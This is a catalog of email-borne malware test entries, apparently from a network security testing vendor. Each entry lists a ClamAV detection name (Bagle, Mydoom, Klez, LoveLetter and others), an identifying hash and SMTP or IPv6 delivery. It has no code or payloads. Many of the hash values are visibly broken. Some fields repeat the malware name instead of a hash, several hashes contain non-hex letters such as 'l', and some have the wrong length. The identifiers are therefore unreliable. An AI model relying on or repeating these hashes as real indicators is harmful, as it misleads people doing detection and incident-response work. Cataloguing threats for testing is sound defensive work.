Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4963d61a4194ad5993cd1e99d32d7e8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.h.863c53a5_IPv6.xml
Executive Description:	Email Virus Worm.Brit.h (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 863c53a5a9f7439c170c4615308f24f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.0e17dbec_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e17dbec1904b7c10614bfb29ef758fd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.K2.d3325123_IPv6.xml
Executive Description:	Email Virus Worm.Lee.K2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.K2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3325123583523850e5c5638189200bf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.I.e26bc655.xml
Executive Description:	Email Virus Worm.SomeFool.I
Detailed Description:	This is the email virus Worm.SomeFool.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26bc65552359a226ce6589e60c22151. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dracv.2.b35c3c00_IPv6.xml
Executive Description:	Email Virus Worm.Dracv.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dracv.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b35c3c001da60be4995f80946baaaaa4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.JuneX.945a914e.xml
Executive Description:	Email Virus Worm.JuneX
Detailed Description:	This is the email virus Worm.JuneX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 945a914e518ba7975b562c551aaf4785. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Fireburn.54a600a6.xml
Executive Description:	Email Virus VBS.Fireburn
Detailed Description:	This is the email virus VBS.Fireburn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54a600a6efc06327151b3605baa73da9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.a.a.cbcd34a2.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Frethem.a.a.043145c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Frethem.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Frethem.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Frethem.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.72fff9ae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72fff9ae6f2e943c19d4df36ee776a74. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.CoolNow.coo.b974199c.xml
Executive Description:	Email Virus Email-Worm.JS.CoolNow.coo
Detailed Description:	This is the email virus Email-Worm.JS.CoolNow.coo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.CoolNow.coo. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Radix.c.c.cal83ad2.xml
Executive Description:	Email Virus Email-Worm.Win32.Radix.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Radix.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Radix.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Without.b.b.f331646b.xml
Executive Description:	Email Virus Email-Worm.BAT.Without.b.b
Detailed Description:	This is the email virus Email-Worm.BAT.Without.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Without.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.1.9fa3a173.xml
Executive Description:	Email Virus Worm.Gibe.1
Detailed Description:	This is the email virus Worm.Gibe.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9fa3a173b3a9f3ce3f70b420a76fb83c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.5f643093_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.27 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f643093bc89231a9a37939c88710bd8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.g.g.cf5d80d9_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BY-2.57f4aa23.xml
Executive Description:	Email Virus Worm.Bagle.BY-2
Detailed Description:	This is the email virus Worm.Bagle.BY-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 57f4aa2390813e82b050984e6d90b581. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Snapper.sna.f5b5592a.xml
Executive Description:	Email Virus Email-Worm.Win32.Snapper.sna
Detailed Description:	This is the email virus Email-Worm.Win32.Snapper.sna as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Snapper.sna. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.d0f67ff1_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0f67ff1898780ef41fbc44f23b1529f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Ypsan.a.4bb94fc8_IPv6.xml
Executive Description:	Email Virus Worm.Ypsan.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Ypsan.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bb94fc855ef86f92f8812bf726599cd. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.0dace309_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dace30934e7435a78140bc4bc19ed30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.c0ef9839_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.d (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0ef98399db1d87ec4adc46bd2839266. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.916b82bd.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 916b82bdf3f8a9df82e6dcbc0909c491. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LifeStages.B.b596bedf.xml
Executive Description:	Email Virus VBS.LifeStages.B
Detailed Description:	This is the email virus VBS.LifeStages.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b596bedfc7c64eaf48097167710c7633. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shatrix.sha.f65d8abl.xml
Executive Description:	Email Virus Email-Worm.Win32.Shatrix.sha
Detailed Description:	This is the email virus Email-Worm.Win32.Shatrix.sha as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shatrix.sha. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Caser.cas.3e14c75b.xml
Executive Description:	Email Virus Email-Worm.VBS.Caser.cas
Detailed Description:	This is the email virus Email-Worm.VBS.Caser.cas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Caser.cas. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Logic.6582bb66.xml
Executive Description:	Email Virus Worm.Logic
Detailed Description:	This is the email virus Worm.Logic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6582bb666663e5089dd13d3a6e73204f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Duksten.c.c.6c18f8aa.xml
Executive Description:	Email Virus Email-Worm.Win32.Duksten.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Duksten.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Duksten.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Scaline.A.566740df.xml
Executive Description:	Email Virus Worm.Scaline.A
Detailed Description:	This is the email virus Worm.Scaline.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 566740df1c100a274ba2152c4d86dc46. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.lab6c618.xml
Executive Description:	Email Virus Kit.WCGen.4
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: lab6c61851933ace09d864afb3ec00da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.c09b69a2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)

Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c09b69a29532fdb3c383dad697ae00f4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nihilit.c.188e2521_IPv6.xml
Executive Description:	Email Virus Worm.Nihilit.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nihilit.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 188e2521adlead34ce3833454c002460. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.a.a.138119b5.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.151af978.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 151af9780795eae8bf0cd427068c0a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.A.a3f1c644_IPv6.xml
Executive Description:	Email Virus VBS.Entice.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3f1c6448ab96df3802d5a81757ce02a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.c0ef9839.xml
Executive Description:	Email Virus Worm.MyPics.d
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0ef98399db1d87ec4adc46bd2839266. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.K.301b39b3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.K (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.K as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 301b39b3e6aaf7cae5a9d84e1c78cf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nevezed.a0ca0ce0.xml
Executive Description:	Email Virus Worm.Nevezed
Detailed Description:	This is the email virus Worm.Nevezed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0ca0ce029d4c94c95a8b9ec040734d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Langex.lan.a21f458d.xml
Executive Description:	Email Virus Email-Worm.Win32.Langex.lan
Detailed Description:	This is the email virus Email-Worm.Win32.Langex.lan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Langex.lan. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.FlyingV.A.1.42f6071b_IPv6.xml
Executive Description:	Email Virus Worm.FlyingV.A.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.FlyingV.A.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42f6071b6bd75d17c1ffd699fafeefda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-vbs.6c6238ce.xml
Executive Description:	Email Virus Worm.Bagle.Gen-vbs
Detailed Description:	This is the email virus Worm.Bagle.Gen-vbs as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6c6238ce315e87c909aaa2431fe7e879. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.a7d6779c_IPv6.xml

Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a7d6779c9a558a538bc77a5316041c4b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Orkiz.1.a2eb64ae_IPv6.xml
Executive Description:	Email Virus Worm.Orkiz.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Orkiz.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2eb64ae5de370e74301c5400df85d00. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Imitator.64761e6b.xml
Executive Description:	Email Virus Worm.VBS.Imitator
Detailed Description:	This is the email virus Worm.VBS.Imitator as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64761e6b6994e0ac577fa4c049cc3be1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2b9c3bb8_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.003 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b9c3bb86ea6c9973c317e6411e681e8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Sandra.san.9b897efa_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Sandra.san (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Sandra.san as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sandra.san. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.3710e115.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3710e11503f5e4d706bb8f189a2ac1b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.0c32628e_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c32628e76d9e7164efab028022364c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.ZIP.A.e0099a41.xml
Executive Description:	Email Virus Worm.MTX.plugin.ZIP.A
Detailed Description:	This is the email virus Worm.MTX.plugin.ZIP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e0099a4194ab9f8fbbc982a966dbf8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.e932f86f_IPv6.xml
Executive Description:	Email Virus Worm.Gibe.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e932f86fe47c694f0196edaab363e236. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kelino.g.g.a629d04d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8eb51eal_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb51eal54966ca89e87c4f7eff80b4c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Kelino.b.b.6389436e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kelino.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kelino.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kelino.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.c.b69622e8_IPv6.xml
Executive Description:	Email Virus Worm.Without.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Without.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b69622e85785ccc48dbd320c1443326f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Spthgen.A.7c59b4e9_IPv6.xml
Executive Description:	Email Virus JS.Spthgen.A (IPv6 Version)
Detailed Description:	This is the email virus JS.Spthgen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7c59b4e93294bdf4db3038fb78104d9f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Along.3689e77a.xml
Executive Description:	Email Virus Worm.Along
Detailed Description:	This is the email virus Worm.Along as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3689e77a677f01d15dd352143ael376b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Eicar-Test-Signature.f23ddc28_IPv6.xml
Executive Description:	Email Virus Eicar-Test-Signature (IPv6 Version)
Detailed Description:	This is the email virus Eicar-Test-Signature as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23ddc28faac06ff61c7bd52ff76d6c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zapchast.bb3dc04a.xml
Executive Description:	Email Virus Worm.Zapchast
Detailed Description:	This is the email virus Worm.Zapchast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb3dc04a444b5daef36200420ecd5bfb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.5e0a9fel.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e0a9fel04ab8e32f8e8d4ec502289ec. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.7a9db04d_IPv6.xml
Executive Description:	Email Virus Kit.WCGen.4 (IPv6 Version)
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7a9db04d4fc07e0dlee48d00927745055. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Plexis.4.17e6f1e0_IPv6.xml
Executive Description:	Email Virus Worm.Plexis.4 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Plexis.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17e6f1e01dalbf842ecff57bfce34aed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sober.L.96fd4a01_IPv6.xml
Executive Description:	Email Virus Worm.Sober.L (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sober.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 96fd4a01db5a713236384498fbc5acd9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.a.a.abb60ef5.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	VBS.LoveLetter.A.35bcabb6_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35bcabb64ff7632d040e4bbb87f4e34b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Arica.b.1165e819.xml
Executive Description:	Email Virus Worm.Arica.b
Detailed Description:	This is the email virus Worm.Arica.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1165e819f5aae4cb58780e6b1e13296b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.b.b.975019a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.14726762_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 14726762844fld3ede205b2eabf9dbf8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BDC.Griffin.Cli.f262e5a1.xml
Executive Description:	Email Virus BDC.Griffin.Cli
Detailed Description:	This is the email virus BDC.Griffin.Cli as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f262e5a1ca270bc917534aac4fa97fe2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nocana.d.d.e4e7fcb.xml
Executive Description:	Email Virus Email-Worm.Win32.Nocana.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Nocana.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nocana.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRC.Hetrad.06ad57e7_IPv6.xml
Executive Description:	Email Virus Worm.IRC.Hetrad (IPv6 Version)
Detailed Description:	This is the email virus Worm.IRC.Hetrad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06ad57e772c53c43c0c5e06e8465534e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Antiax.8dfb3a3b_IPv6.xml
Executive Description:	Email Virus Worm.Antiax (IPv6 Version)
Detailed Description:	This is the email virus Worm.Antiax as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8dfb3a3b3680e105b3e4f3bd0c019d38. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.660b1a5b.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 660b1a5b54917adb9e165f5bd49cb94b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Apmas.apm.b35477e6.xml
Executive Description:	Email Virus Email-Worm.VBS.Apmas.apm
Detailed Description:	This is the email virus Email-Worm.VBS.Apmas.apm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Apmas.apm. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.B.cc6e6aa3.xml
Executive Description:	Email Virus Worm.Mydoom.B
Detailed Description:	This is the email virus Worm.Mydoom.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc6e6aa338385fbb0a005ba3d3e060f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Totilix.C.21dbca1c_IPv6.xml
Executive Description:	Email Virus Worm.Totilix.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Totilix.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21dbca1c9215f718afb88fa6b1d3e7c7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Repah.a.d19bbffc.xml
Executive Description:	Email Virus Worm.Repah.a
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d19bbffc3706ea903d94282cf72fcc67. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.IWorm.Haiku.bc41f463.xml
Executive Description:	Email Virus W32.IWorm.Haiku
Detailed Description:	This is the email virus W32.IWorm.Haiku as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc41f4637a734b9eaca74dfa9bel3efc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
